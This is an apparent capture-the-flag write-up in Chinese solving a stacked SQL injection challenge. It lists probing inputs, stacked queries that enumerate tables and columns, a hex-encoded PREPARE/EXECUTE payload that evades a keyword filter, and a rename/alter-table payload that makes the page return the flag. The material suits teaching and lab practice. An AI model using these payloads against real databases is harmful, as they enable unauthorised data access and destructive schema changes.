- 考察SQL注入的堆叠注入
输入1 或 2查询 显示查询结果
image.png
输入 1’ or 1# 显示出所有结果,存在注入
image.png
输入order by 1,2 显示正常,输入三报错,表中有两列
image.png image.png
使用1' union select 1,2#,发现select、update、where、. 都被禁用。
image.png
输入 -1' show databases;# 查询数据库
输入 -1' ;show tables;# 查询数据表,存在words和 1919810931114514两个表
image.png
-1';show columns from words;# 显示出words表中的字段
image.png
-1';show columns from
1919810931114514
;# 显示出1919810931114514表中的字段,中存在flag字段。image.png
- 利用存储函数,得出flag
-1';SeT@a=select * from flag;prepare execsql from @a;execute execsql;#转化为16禁制
-1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
- 重命名和修改表面,得出flag (利用此方法复现报错)
因为这里有两张表,会县内容肯定是从word这张表中回显的,那我们怎么才能让它回显flag所在的表呢
内部查询语句类似 : select id, data from word where id =
(这里从上面的对word列的查询可以看到它是有两列,id和data)
然后1919810931114514只有一个flag字段
这时候虽然有强大的正则过滤,但没有过滤alert和rename关键字
这时候我们就可以已下面的骚姿势进行注入:
1.将words表改名为word1或其它任意名字
2.1919810931114514改名为words
3.将新的word表插入一列,列名为id
4.将flag列改名为data
构造payload
1’;rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
接着我们再用1’ or 1=1 #,查询就得到flag
网友评论